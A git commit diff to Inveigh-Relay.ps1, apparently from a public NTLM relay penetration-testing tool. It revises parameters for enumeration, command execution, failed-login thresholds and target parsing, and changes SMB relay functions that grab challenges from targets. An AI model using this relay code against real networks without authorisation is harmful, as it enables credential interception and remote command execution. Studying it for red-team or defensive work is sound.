diff options
author | Kevin Robertson <robertsonk@gmail.com> | 2018-09-16 23:04:19 -0400 |
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committer | Kevin Robertson <robertsonk@gmail.com> | 2018-09-16 23:04:19 -0400 |
commit | e3ad6c8c445aeced7727fb8d29bdc2b4b9ba1dbf (patch) | |
tree | dea6cd5909001dbca1e20b632e00819de7d084ce | |
parent | e424cb858cfa765c057384b7daba9360624b82a0 (diff) | |
download | Inveigh-e3ad6c8c445aeced7727fb8d29bdc2b4b9ba1dbf.tar.gz Inveigh-e3ad6c8c445aeced7727fb8d29bdc2b4b9ba1dbf.zip |
Final 1.4 Dev Version
Added ConvertTo-Inveigh (powershell 3+) for importing BloodHound JSON files for Inveigh Relay. Lots of updates and bug fixes.
-rw-r--r-- | Inveigh-Relay.ps1 | 2469 | ||||
-rw-r--r-- | Inveigh.ps1 | 1407 | ||||
-rw-r--r-- | Invoke-SMBClient.ps1 | 2825 | ||||
-rw-r--r-- | Invoke-SMBEnum.ps1 | 3333 | ||||
-rw-r--r-- | Invoke-SMBExec.ps1 | 2764 |
5 files changed, 2086 insertions, 10712 deletions
diff --git a/Inveigh-Relay.ps1 b/Inveigh-Relay.ps1 index 9b61ff7..753cc9f 100644 --- a/Inveigh-Relay.ps1 +++ b/Inveigh-Relay.ps1 @@ -37,17 +37,22 @@ Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for and username combinations when real time console output is enabled. .PARAMETER Enumerate +Default = All: (All/Group/NetSession/Share/User) The action that will be used for the 'Enumerate' attack. .PARAMETER EnumerateGroup - -.PARAMETER EnumerateRepeat +Default = Administrators: The group that will be enumerated with the 'Enumerate' attack. Note that only the +'Administrators' group will be used for targeting decisions. .PARAMETER Execute Command to execute on relay target. Use PowerShell character escapes where necessary. -.PARAMETER ExecuteRepeat +.PARAMETER FailedLoginStrict +Default = Disabled: If disabled, login attempts against non-domain attached will not count as failed logins. If enabled, all +failed logins will count. -.PARAMETER FailedAuthLimit +.PARAMETER FailedLoginThreshold +Default = 2: The threshold for failed logins. Once failed logins for a user exceed the threshhold, further relay attempts for that +user will be stopped. .PARAMETER FileOutput Default = Disabled: (Y/N) Enable/Disable real time file output. @@ -83,14 +88,6 @@ Default = localhost: The subject field for the cert that will be installed for H Default = Disabled: (Y/N) Force deletion of an existing certificate that matches HTTPSCertIssuer and HTTPSCertSubject. -.PARAMETER HTTPResetDelay -Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers -will have a delay before their connections are reset when Inveigh doesn't receive data. This can increase the -chance of capturing/relaying authentication through a popup box with some browsers (Firefox). - -.PARAMETER HTTPResetDelayTimeout -Default = 30 Seconds: HTTPResetDelay timeout in seconds. - .PARAMETER LogOutput Default = Enabled: (Y/N) Enable/Disable storing log messages in memory. @@ -109,7 +106,7 @@ Default = Disabled: (Y/N): Enable/Disable relaying proxy authentication. Default = Any: IP address for the proxy listener. .PARAMETER ProxyPort -Default = 8182: TCP port for the proxy listener. +Default = 8492: TCP port for the proxy listener. .PARAMETER ProxyIgnore Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers @@ -126,6 +123,12 @@ target. .PARAMETER RelayAutoExit Default = Enable: (Y/N) Enable/Disable automaticaly exiting after a relay is disabled due to success or error. +.PARAMETER RepeatEnumerate +Default = 30 Minutes: The minimum number of minutes to wait between enumeration attempts for a target. + +.PARAMETER RepeatExecute +Default = 30 Minutes: The minumum number of minutes to wait between command execution attempts for a target. + .PARAMETER RunTime (Integer) Run time duration in minutes. @@ -133,12 +136,16 @@ Default = Enable: (Y/N) Enable/Disable automaticaly exiting after a relay is dis Default = 20 Character Random: Name of the service to create and delete on the target. .PARAMETER SessionLimitPriv +Default = 2: Limit of privileged sessions on a target. .PARAMETER SessionLimitShare +Default = 2: Limit of sessions per user for targets hosting custom shares. .PARAMETER SessionLimitUnpriv +Default = 0: Limit of unprivileged sessions on a target. .PARAMETER SessionRefresh +Default = 10 Minutes: The number of minutes between refreshes to keep sessions from timing out. .PARAMETER ShowHelp Default = Enabled: (Y/N) Enable/Disable the help messages at startup. @@ -151,18 +158,25 @@ Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. .PARAMETER Target Comma separated list of IP addresses to target for relay. This parameter will accept single addresses, CIDR, or -ranges on the format of 192.168.0.1-192.168.0.10. Avoid using hostnames for now. Also, avoid using large ranges -with lots of unused IP addresses or systems not running SMB. Inveigh-Relay will do quick port checks as part of target -selection and filter out invalid targets. Something like a /16 with only a few hosts isn't really practical though. +ranges on the format of 192.168.0.1-192.168.0.10 or 192.168.0.1-10. Avoid using large ranges with lots of unused +IP addresses or systems not running SMB. Inveigh-Relay will do quick port checks as part of target selection and +filter out invalid targets. Something like a /16 with only a few hosts isn't really practical though. .PARAMETER TargetExclude -Comma separated list of IP addresses to exlude from the target list. This parameter will accept single addresses, -CIDR, or ranges on the format of 192.168.0.1-192.168.0.10. +Comma separated list of IP addresses to exlude from the target list. This parameter will accept the same formats as +the 'Target' parameter. + +.PARAMETER TargetMode +Default = Random: (Random/Strict) 'Random' target mode will fall back to selecting a random target is a match +isn't found through enumerated data. 'Strict' will only select targets through enumerated data. Note that +'Strict' requires either previously collected data from the 'Enumerate' attack or data imported from +BloodHound. .PARAMETER TargetRandom -Default = Enabled: (Y/N) Enable/Disable selecting a random target is a target is not found through logic. +Default = Enabled: (Y/N) Enable/Disable selecting a random target if a target is not found through logic. .PARAMETER TargetRefresh +Default = 60 Minutes: Number of minutes to wait before rechecking a target for eligibility. .PARAMETER Tool Default = 0: (0/1/2) Enable/Disable features for better operation through external tools such as Meterpreter's @@ -200,18 +214,16 @@ param [parameter(Mandatory=$false)][ValidateSet("All","NetSession","Share","User","Group")][String]$Enumerate = "All", [parameter(Mandatory=$false)][ValidateSet("Random","Strict")][String]$TargetMode = "Random", [parameter(Mandatory=$false)][String]$EnumerateGroup = "Administrators", - [parameter(Mandatory=$true)][Array]$Target = "", + [parameter(Mandatory=$false)][Array]$Target = "", [parameter(Mandatory=$false)][Array]$TargetExclude = "", - [parameter(Mandatory=$false)][Array]$HTTPResetDelay = "Firefox", [parameter(Mandatory=$false)][Array]$ProxyIgnore = "Firefox", [parameter(Mandatory=$false)][Array]$Username = "", [parameter(Mandatory=$false)][Array]$WPADAuthIgnore = "", [parameter(Mandatory=$false)][Int]$ConsoleQueueLimit = "-1", [parameter(Mandatory=$false)][Int]$ConsoleStatus = "", - [parameter(Mandatory=$false)][Int]$FailedAuthLimit = "2", + [parameter(Mandatory=$false)][Int]$FailedLoginThreshold = "2", [parameter(Mandatory=$false)][Int]$HTTPPort = "80", [parameter(Mandatory=$false)][Int]$HTTPSPort = "443", - [parameter(Mandatory=$false)][Int]$HTTPResetDelayTimeout = "30", [parameter(Mandatory=$false)][Int]$ProxyPort = "8492", [parameter(Mandatory=$false)][Int]$RunTime = "", [parameter(Mandatory=$false)][Int]$SessionLimitPriv = "2", @@ -219,13 +231,14 @@ param [parameter(Mandatory=$false)][Int]$SessionLimitUnpriv = "0", [parameter(Mandatory=$false)][Int]$SessionRefresh = "10", [parameter(Mandatory=$false)][Int]$TargetRefresh = "60", - [parameter(Mandatory=$false)][Int]$RepeatEnumerate = "10", - [parameter(Mandatory=$false)][Int]$RepeatExecute = "10", + [parameter(Mandatory=$false)][Int]$RepeatEnumerate = "30", + [parameter(Mandatory=$false)][Int]$RepeatExecute = "30", [parameter(Mandatory=$false)][String]$Command = "", [parameter(Mandatory=$false)][String]$HTTPSCertIssuer = "Inveigh", [parameter(Mandatory=$false)][String]$HTTPSCertSubject = "localhost", [parameter(Mandatory=$false)][String]$Service, [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FailedLoginStrict = "N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y", @@ -260,14 +273,26 @@ if ($invalid_parameter) throw } +if($inveigh.relay_running) +{ + Write-Output "[-] Inveigh Relay is already running" + throw +} + $inveigh_version = "1.4 Dev" +if(!$target -and !$inveigh.enumerated_data) +{ + Write-Output "[-] No enumerated target data, specify targets with -Target" + throw +} + if($ProxyIP -eq '0.0.0.0') { try { - $proxy_WPAD_IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) + $proxy_WPAD_IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) } catch { @@ -303,28 +328,21 @@ if(!$inveigh) $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList $inveigh.POST_request_list = New-Object System.Collections.ArrayList - $inveigh.relay_user_failed_list = New-Object System.Collections.ArrayList $inveigh.valid_host_list = New-Object System.Collections.ArrayList - $inveigh.requested_host_list = New-Object System.Collections.ArrayList - $inveigh.requested_host_IP_list = New-Object System.Collections.ArrayList - $inveigh.DNS_list = New-Object System.Collections.ArrayList - $inveigh.relay_failed_auth_table = [HashTable]::Synchronized(@{}) + $inveigh.ADIDNS_table = [HashTable]::Synchronized(@{}) + $inveigh.relay_failed_login_table = [HashTable]::Synchronized(@{}) $inveigh.relay_history_table = [HashTable]::Synchronized(@{}) + $inveigh.request_table = [HashTable]::Synchronized(@{}) $inveigh.session_socket_table = [HashTable]::Synchronized(@{}) $inveigh.session_table = [HashTable]::Synchronized(@{}) $inveigh.session_message_ID_table = [HashTable]::Synchronized(@{}) $inveigh.session_lock_table = [HashTable]::Synchronized(@{}) + $inveigh.SMB_session_table = [HashTable]::Synchronized(@{}) $inveigh.domain_mapping_table = [HashTable]::Synchronized(@{}) $inveigh.group_table = [HashTable]::Synchronized(@{}) $inveigh.session_count = 0 $inveigh.session_list = @() - $inveigh.enumeration_data = @() -} - -if($inveigh.relay_running) -{ - Write-Output "[-] Inveigh Relay is already running" - throw + $inveigh.enumerated_data = @() } $inveigh.stop = $false @@ -402,7 +420,7 @@ if($Tool -eq 1) # Metasploit Interactive PowerShell Payloads and Meterpreter's P { $inveigh.tool = 1 $inveigh.output_stream_only = $true - $inveigh.newline = "" + $inveigh.newline = $null $ConsoleOutput = "N" } elseif($Tool -eq 2) # PowerShell Empire @@ -410,7 +428,7 @@ elseif($Tool -eq 2) # PowerShell Empire $inveigh.tool = 2 $inveigh.output_stream_only = $true $inveigh.console_input = $false - $inveigh.newline = "" + $inveigh.newline = $null $LogOutput = "N" $ShowHelp = "N" @@ -438,12 +456,7 @@ elseif($Tool -eq 2) # PowerShell Empire else { $inveigh.tool = 0 - $inveigh.newline = "" -} - -if($inveigh.running) -{ - $inveigh.output_pause = $true + $inveigh.newline = $null } #endregion @@ -604,14 +617,6 @@ if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') } - $HTTPResetDelay = ($HTTPResetDelay | Where-Object {$_ -and $_.Trim()}) - - if($HTTPResetDelay.Count -gt 0) - { - $inveigh.output_queue.Add("[+] HTTP Reset Delay List = " + ($HTTPResetDelay -join ",")) > $null - $inveigh.output_queue.Add("[+] HTTP Reset Delay Timeout = $HTTPResetDelayTimeout Seconds") > $null - } - } if($Proxy -eq 'Y') @@ -641,23 +646,11 @@ if($Proxy -eq 'Y') $inveigh.output_queue.Add("[+] Relay Attack = " + ($Attack -join ",")) > $null -if($Target.Count -eq 1) -{ - $inveigh.output_queue.Add("[+] Relay Target = " + ($Target -join ",")) > $null -} -elseif($Target.Count -gt 3) -{ - $inveigh.output_queue.Add("[+] Relay Targets = " + ($Target[0..2] -join ",") + "...") > $null -} -else -{ - $inveigh.output_queue.Add("[+] Relay Targets = " + ($Target -join ",")) > $null -} - # math taken from https://gallery.technet.microsoft.com/scriptcenter/List-the-IP-addresses-in-a-60c5bb6b + function Convert-RangetoIPList { - param($IP,$CIDR,$Start,$End,[Switch]$Exclude) + param($IP,$CIDR,$Start,$End) function Convert-IPtoINT64 { @@ -672,26 +665,28 @@ function Convert-RangetoIPList { param ([int64]$int) return (([math]::truncate($int/16777216)).tostring() + "." +([math]::truncate(($int%16777216)/65536)).tostring() + "." + ([math]::truncate(($int%65536)/256)).tostring() + "." +([math]::truncate($int%256)).tostring()) - } + } + + $target_list = New-Object System.Collections.ArrayList if($IP) { - $IP_address = [Net.IPAddress]::Parse($IP) + $IP_address = [System.Net.IPAddress]::Parse($IP) } if($CIDR) { - $mask_address = [Net.IPAddress]::Parse((Convert-INT64toIP -int ([convert]::ToInt64(("1" * $CIDR + "0" * (32 - $CIDR)),2)))) + $mask_address = [System.Net.IPAddress]::Parse((Convert-INT64toIP -int ([convert]::ToInt64(("1" * $CIDR + "0" * (32 - $CIDR)),2)))) } if($IP) { - $network_address = New-Object Net.IPAddress ($mask_address.address -band $IP_address.address) + $network_address = New-Object System.Net.IPAddress ($mask_address.address -band $IP_address.address) } if($IP) { - $broadcast_address = New-Object Net.IPAddress (([Net.IPAddress]::parse("255.255.255.255").address -bxor $mask_address.address -bor $network_address.address)) + $broadcast_address = New-Object System.Net.IPAddress (([System.Net.IPAddress]::parse("255.255.255.255").address -bxor $mask_address.address -bor $network_address.address)) } if($IP) @@ -708,73 +703,119 @@ function Convert-RangetoIPList for($i = $start_address; $i -le $end_address; $i++) { $IP_address = Convert-INT64toIP -int $i + $target_list.Add($IP_address) > $null + } - if($Exclude) - { - $inveigh.target_exclude_list.Add($IP_address) > $null - } - else - { - $inveigh.target_list.Add($IP_address) > $null - } + if($network_address) + { + $target_list.Remove($network_address.IPAddressToString) + } + if($broadcast_address) + { + $target_list.Remove($broadcast_address.IPAddressToString) } + + return $target_list +} - if($network_address) +function Get-TargetList +{ + param($targets) + + $target_list = New-Object System.Collections.ArrayList + + for($i=0;$i -lt $targets.Count;$i++) { - if($Exclude) + if($targets[$i] -like "*-*") { - $inveigh.target_exclude_list.Remove($network_address.IPAddressToString) - } - else - { - $inveigh.target_list.Remove($network_address.IPAddressToString) + $target_array = $targets[$i].split("-") + + if($target_array[0] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b" -and + $target_array[1] -notmatch "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b") + { + + if($target_array.Count -ne 2 -or $target_array[1] -notmatch "^[\d]+$" -or $target_array[1] -gt 254) + { + Write-Output "[!] Invalid target $($target[$i])" + throw + } + else + { + $IP_network_begin = $target_array[0].ToCharArray() + [Array]::Reverse($IP_network_begin) + $IP_network_begin = -join($IP_network_begin) + $IP_network_begin = $IP_network_begin.SubString($IP_network_begin.IndexOf(".")) + $IP_network_begin = $IP_network_begin.ToCharArray() + [Array]::Reverse($IP_network_begin) + $IP_network_begin = -join($IP_network_begin) + $IP_range_end = $IP_network_begin + $target_array[1] + $targets[$i] = $target_array[0] + "-" + $IP_range_end + } + + } + } - + } - if($broadcast_address) + ForEach($entry in $targets) { + $entry_split = $null - if($Exclude) + if($entry.contains("/")) { - $inveigh.target_exclude_list.Remove($broadcast_address.IPAddressToString) + $entry_split = $entry.Split("/") + $IP = $entry_split[0] + $CIDR = $entry_split[1] + $target_list.AddRange($(Convert-RangetoIPList -IP $IP -CIDR $CIDR)) + } + elseif($entry.contains("-")) + { + $entry_split = $entry.Split("-") + + if($entry_split[0] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b" -and + $entry_split[1] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b") + { + $start_address = $entry_split[0] + $end_address = $entry_split[1] + $target_list.AddRange($(Convert-RangetoIPList -Start $start_address -End $end_address)) + } + else + { + $target_list.Add($entry) > $null + } + } else { - $inveigh.target_list.Remove($broadcast_address.IPAddressToString) + $target_list.Add($entry) > $null } } + return $target_list } -$inveigh.output_queue.Add("[*] Parsing Relay Target List") > $null - -ForEach($entry in $Target) +if($Target) { - $entry_split = $null - if($entry.contains("/")) + if($Target.Count -eq 1) { - $entry_split = $entry.Split("/") - $IP = $entry_split[0] - $CIDR = $entry_split[1] - Convert-RangetoIPList -IP $IP -CIDR $CIDR + $inveigh.output_queue.Add("[+] Relay Target = " + ($Target -join ",")) > $null } - elseif($entry.contains("-")) + elseif($Target.Count -gt 3) { - $entry_split = $entry.Split("-") - $start_address = $entry_split[0] - $end_address = $entry_split[1] - Convert-RangetoIPList -Start $start_address -End $end_address + $inveigh.output_queue.Add("[+] Relay Targets = " + ($Target[0..2] -join ",") + "...") > $null } else { - $inveigh.target_list.Add($entry) > $null + $inveigh.output_queue.Add("[+] Relay Targets = " + ($Target -join ",")) > $null } + $inveigh.output_queue.Add("[*] Parsing Relay Target List") > $null + $inveigh.target_list = Get-TargetList $Target } if($TargetExclude) @@ -794,33 +835,13 @@ if($TargetExclude) } $inveigh.output_queue.Add("[*] Parsing Relay Target Exclude List") > $null + $inveigh.target_exclude_list = Get-TargetList $TargetExclude - ForEach($entry in $TargetExclude) + if($inveigh.target_list -and $inveigh.target_exclude_list) { - $entry_split = $null - - if($entry.contains("/")) - { - $entry_split = $entry.Split("/") - $IP = $entry_split[0] - $CIDR = $entry_split[1] - $IP_list += Convert-RangetoIPList -IP $IP -CIDR $CIDR -Exclude - } - elseif($entry.contains("-")) - { - $entry_split = $entry.Split("-") - $start_address = $entry_split[0] - $end_address = $entry_split[1] - $IP_list += Convert-RangetoIPList -Start $start_address -End $end_address -Exclude - } - else - { - $inveigh.target_exclude_list.Add($entry) > $null - } - + $inveigh.target_list = Compare-Object -ReferenceObject $inveigh.target_exclude_list -DifferenceObject $inveigh.target_list -PassThru } - $inveigh.target_list = Compare-Object -ReferenceObject $inveigh.target_exclude_list -DifferenceObject $inveigh.target_list -PassThru } if($Username) @@ -947,11 +968,11 @@ elseif($RunTime -gt 1) if($ShowHelp -eq 'Y') { - $inveigh.output_queue.Add("[!] Run Stop-Inveigh to stop manually") > $null + $inveigh.output_queue.Add("[!] Run Stop-Inveigh to stop") > $null if($inveigh.console_output) { - $inveigh.output_queue.Add("[*] Press any key to stop real time console output") > $null + $inveigh.output_queue.Add("[*] Press any key to stop console output") > $null } } @@ -1016,6 +1037,7 @@ while($inveigh.output_queue.Count -gt 0) } +$inveigh.status_output = $false $inveigh.netBIOS_domain = (Get-ChildItem -path env:userdomain).Value $inveigh.computer_name = (Get-ChildItem -path env:computername).Value @@ -1036,11 +1058,6 @@ catch $inveigh.DNS_computer_name = $inveigh.computer_name } -if($inveigh.running) -{ - $inveigh.output_pause = $false -} - #endregion #region begin script blocks @@ -2046,7 +2063,7 @@ function New-PacketSRVSVCNetShareEnumAll $SMB_relay_functions_scriptblock = { - function SMBNTLMChallenge + function Invoke-SMBNTLMChallenge { param ([Byte[]]$payload_bytes) @@ -2094,7 +2111,7 @@ $SMB_relay_functions_scriptblock = } } - + $target_info_index = $target_info_index + $target_info_item_length + 4 $target_info_item_type = $payload_bytes[$target_info_index] $i++ @@ -2106,24 +2123,26 @@ $SMB_relay_functions_scriptblock = $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] Domain mapping added for $netBIOS_domain_name to $DNS_domain_name") > $null } - $target_index = $inveigh.enumeration_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index + $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index -First 1 - if($inveigh.enumeration_data | Where-Object {$_.IP -eq $target -and !$_.Hostname}) + if($inveigh.enumerated_data | Where-Object {$_.IP -eq $target -and !$_.Hostname}) { - $inveigh.enumeration_data[$target_index].Hostname = $DNS_computer_name + $inveigh.enumerated_data[$target_index].Hostname = $DNS_computer_name + $inveigh.enumerated_data[$target_index]."DNS Domain" = $DNS_domain_name + $inveigh.enumerated_data[$target_index]."netBIOS Domain" = $netBIOS_domain_name } - elseif($inveigh.enumeration_data[$target_index].Hostname -ne $DNS_computer_name) + elseif($inveigh.enumerated_data[$target_index].Hostname -ne $DNS_computer_name) { - if($inveigh.enumeration_data | Where-Object {$_.Hostname -eq $DNS_computer_name}) + if($inveigh.enumerated_data | Where-Object {$_.Hostname -eq $DNS_computer_name}) { - $target_hostname_index = $inveigh.enumeration_data | Where-Object {$_.Hostname -eq $DNS_computer_name} | Select-Object -expand Index - $inveigh.enumeration_data[$target_hostname_index].IP = $target - $inveigh.enumeration_data[$target_index].IP = $null + $target_hostname_index = $inveigh.enumerated_data | Where-Object {$_.Hostname -eq $DNS_computer_name} | Select-Object -expand Index + $inveigh.enumerated_data[$target_hostname_index].IP = $target + $inveigh.enumerated_data[$target_index].IP = $null } else { - $inveigh.enumeration_data += New-RelayEnumObject -IP $target -Hostname $DNS_computer_name -SMBServer $true -Targeted $(Get-Date -format s) + $inveigh.enumerated_data += New-RelayEnumObject -IP $target -Hostname $DNS_computer_name -DNSDomain $DNSDomain -netBIOSDomain $netBIOSDomain -SMBServer $true -Targeted $(Get-Date -format s) } } @@ -2135,8 +2154,9 @@ $SMB_relay_functions_scriptblock = function New-RelayEnumObject { - param ($IP,$Hostname,$Sessions,$AdministratorUsers,$AdministratorGroups,$Privileged,$Shares,$NetSessions,$NetSessionsMapped, - $LocalUsers,$SMB2,$Signing,$SMBServer,$Targeted,$Enumerate,$Execute) + param ($IP,$Hostname,$DNSDomain,$netBIOSDomain,$Sessions,$AdministratorUsers,$AdministratorGroups, + $Privileged,$Shares,$NetSessions,$NetSessionsMapped,$LocalUsers,$SMB2,$Signing,$SMBServer,$Targeted, + $Enumerate,$Execute) if($Sessions -and $Sessions -isnot [Array]){$Sessions = @($Sessions)} if($AdministratorUsers -and $AdministratorUsers -isnot [Array]){$AdministratorUsers = @($AdministratorUsers)} @@ -2148,9 +2168,11 @@ $SMB_relay_functions_scriptblock = if($LocalUsers -and $LocalUsers -isnot [Array]){$LocalUsers = @($LocalUsers)} $relay_object = New-Object PSObject - Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Index" $inveigh.enumeration_data.Count + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Index" $inveigh.enumerated_data.Count Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "IP" $IP Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Hostname" $Hostname + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "DNS Domain" $DNSDomain + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "netBIOS Domain" $netBIOSDomain Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Sessions" $Sessions Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Users" $AdministratorUsers Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Groups" $AdministratorGroups @@ -2163,20 +2185,20 @@ $SMB_relay_functions_scriptblock = Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Signing" $Signing Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB Server" $SMBServer Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Targeted" $Targeted - Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Enumerate" $Enumeration - Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Execute" $Execution + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Enumerate" $Enumerate + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Execute" $Execute return $relay_object } - function SMBConnect + function Invoke-SMBConnect { param ($ProcessID,$SourceIP) function Test-SMBPort { param ($target) - + $SMB_target_test = New-Object System.Net.Sockets.TCPClient $SMB_target_test_result = $SMB_target_test.BeginConnect($target,"445",$null,$null) $SMB_port_test_success = $SMB_target_test_result.AsyncWaitHandle.WaitOne(100,$false) @@ -2191,15 +2213,15 @@ $SMB_relay_functions_scriptblock = $SMB_server = $false } - if($inveigh.enumeration_data | Where-Object {$_.IP -eq $target}) + if($inveigh.enumerated_data | Where-Object {$_.IP -eq $target}) { - $target_index = $inveigh.enumeration_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index - $inveigh.enumeration_data[$target_index]."SMB Server" = $SMB_server - $inveigh.enumeration_data[$target_index]."Targeted" = $(Get-Date -format s) + $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index -First 1 + $inveigh.enumerated_data[$target_index]."SMB Server" = $SMB_server + $inveigh.enumerated_data[$target_index]."Targeted" = $(Get-Date -format s) } else { - $inveigh.enumeration_data += New-RelayEnumObject -IP $target -SMBServer $SMB_server -Targeted $(Get-Date -format s) + $inveigh.enumerated_data += New-RelayEnumObject -IP $target -SMBServer $SMB_server -Targeted $(Get-Date -format s) } return $SMB_port_test_success @@ -2209,15 +2231,15 @@ $SMB_relay_functions_scriptblock = { param ($Target) - $SMB_client = New-Object System.Net.Sockets.TCPClient - $SMB_client.Client.ReceiveTimeout = 60000 - $SMB_client.Connect($target,"445") + $client = New-Object System.Net.Sockets.TCPClient + $client.Client.ReceiveTimeout = 60000 + $client.Connect($target,"445") try { - $SMB_client_stream = $SMB_client.GetStream() + $client_stream = $client.GetStream() $stage = 'NegotiateSMB' - $SMB_client_receive = New-Object System.Byte[] 1024 + $client_receive = New-Object System.Byte[] 1024 } catch { @@ -2238,17 +2260,17 @@ $SMB_relay_functions_scriptblock = $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null - if([System.BitConverter]::ToString($SMB_client_receive[4..7]) -eq 'ff-53-4d-42') + if([System.BitConverter]::ToString($client_receive[4..7]) -eq 'ff-53-4d-42') { $SMB2 = $false $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Negotiated SMB1 not supported") > $null $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Trying anonther target") > $null - $SMB_client.Close() + $client.Close() $stage = 'Exit' } else @@ -2257,12 +2279,12 @@ $SMB_relay_functions_scriptblock = $stage = 'NegotiateSMB2' } - if($target -and [System.BitConverter]::ToString($SMB_client_receive[70]) -eq '03') + if($target -and [System.BitConverter]::ToString($client_receive[70]) -eq '03') { $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Signing is required on $target") > $null $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Trying another target") > $null $signing = $true - $SMB_client.Close() + $client.Close() $stage = 'Exit' } else @@ -2283,10 +2305,10 @@ $SMB_relay_functions_scriptblock = $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null $stage = 'Exit' $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Grabbing challenge for relay from $target") > $null } @@ -2295,18 +2317,18 @@ $SMB_relay_functions_scriptblock = } - return $SMB_client,$SMB2,$signing + return $client,$SMB2,$signing } function Test-SMBTarget { - param($targets,$limit) + param([Array]$targets,[Int]$limit) $filter_date = Get-Date - $targets_excluded = $inveigh.enumeration_data | Where-Object {$_.IP -eq $SourceIP -or ($_.Targeted -and $_."SMB Server" -and (!$_."SMB2.1" -or $_.Signing)) -or - ($_.Targeted -and !$_."SMB Server" -and (New-TimeSpan $_.Targeted $filter_date).Minutes -lt $TargetRefresh)} | Select-Object -expand IP + [Array]$targets_excluded = $inveigh.enumerated_data | Where-Object {$_.IP -eq $SourceIP -or ($_.Targeted -and $_."SMB Server" -and (!$_."SMB2.1" -or $_.Signing)) -or + ($_.Targeted -and !$_."SMB Server" -and (New-TimeSpan $_.Targeted $filter_date).Minutes -lt $TargetRefresh)} | Select-Object -expand IP - if($targets_excluded) + if($targets -and $targets_excluded) { $targets = Compare-Object -ReferenceObject $targets -DifferenceObject $targets_excluded -PassThru | Where-Object {$_.SideIndicator -eq "<="} @@ -2324,7 +2346,7 @@ $SMB_relay_functions_scriptblock = { $sessions = @($inveigh.session_list | Where-Object {$_.Target -eq $target_entry -and $_.Status -eq 'connected'}) - if($sessions -and $sessions.Count -lt $limit) + if($sessions -and ($sessions.Count -lt $limit -or $inveigh.enumerated_data | Where-Object {$_.IP -eq $target_entry -and $_.Shares})) { $targets += $target_entry } @@ -2350,7 +2372,12 @@ $SMB_relay_functions_scriptblock = } } - + + if($targets -and $inveigh.target_list) + { + $targets = Compare-Object -ReferenceObject $targets -DifferenceObject $inveigh.target_list -ExcludeDifferent 